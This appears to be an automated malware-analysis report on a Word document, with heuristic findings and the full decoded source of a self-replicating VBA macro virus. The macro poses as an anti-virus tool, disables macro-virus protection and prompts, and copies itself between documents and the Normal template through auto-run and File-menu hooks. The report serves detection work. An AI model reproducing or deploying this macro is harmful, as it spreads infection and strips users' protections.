MALICIOUS
136
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros with critical heuristic firings indicating self-replication and disabling of macro protection. The 'PassAway' subroutine explicitly sets 'Options.VirusProtection = False', and the 'SaveDocument' subroutine appears to attempt to remove other macros. The presence of 'AvMacro' and 'ThisDocument' as VBA component names, along with the 'ToolsMacro' and 'OpenMyMacro' subroutines, suggests an attempt to manipulate the macro security settings and potentially spread.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AUTOOPEN() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AUTOCLOSE() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4167 bytes |
SHA-256: edaa0efcc1b81a7a2a0a941f7fe9e29d7c045745de71abbf6e0869092e03c321 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AvMacro"
Sub PassAway()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
OpenMyMacro
End Sub
Sub ViewVbCode()
ToolsMacro
End Sub
Sub FileTemplates()
ToolsMacro
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
On Error Resume Next
Dialogs(wdDialogToolsOptions).Show
PassAway
End Sub
Sub OpenMyMacro()
Msg = "A simple program to protect your" & Chr(13)
Msg = Msg & "documents from destroying macro viruses" & Chr(13) & Chr(13)
Msg = Msg & " If you want to edit this program source" & Chr(13)
Msg = Msg & "call or contact LabCom FT UNS (Mr. Widi)" & Chr(13) & Chr(13) & Chr(13)
Msg = Msg & "Enter password to edit this program"
If InputBox(Msg, "Av Macro") = "zerg" Then
Application.ShowVisualBasicEditor = True
End If
End Sub
Sub SaveDocument()
Dim DocOk As Boolean
DocOk = False
On Error Resume Next
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "AvMacro" Then DocOk = True
If Obj.Name <> "AvMacro" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Kill " + Obj.Name + _
" Macro in " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="AvMacro", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SaveTemplate()
Dim NorOk As Boolean
NorOk = False
On Error Resume Next
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "AvMacro" Then NorOk = True
If Obj.Name <> "AvMacro" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Kill " + Obj.Name + _
" Macro in Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="AvMacro", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AUTOEXIT()
Application.Quit
End Sub
Sub FileOpen()
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SaveDocument
ActiveDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
Sub AUTOOPEN()
PassAway
SaveTemplate
On Error Resume Next
NormalTemplate.Save
End Sub
Sub AUTOCLOSE()
SaveDocument
End Sub
Sub FileClose()
AUTOCLOSE
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
SaveDocument
SaveTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub KillMacro()
C = Documents.Count
If C <> 0 Then
Normal.AvMacro.SaveDocument
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.AvMacro.KillMacro"
End If
End Sub
Sub AUTOEXEC()
Passwrd = False
WordBasic.DisableAutoMacros True
PassAway
Application.OnTime Now + TimeValue("00:00:07"), "Normal.AvMacro.KillMacro"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.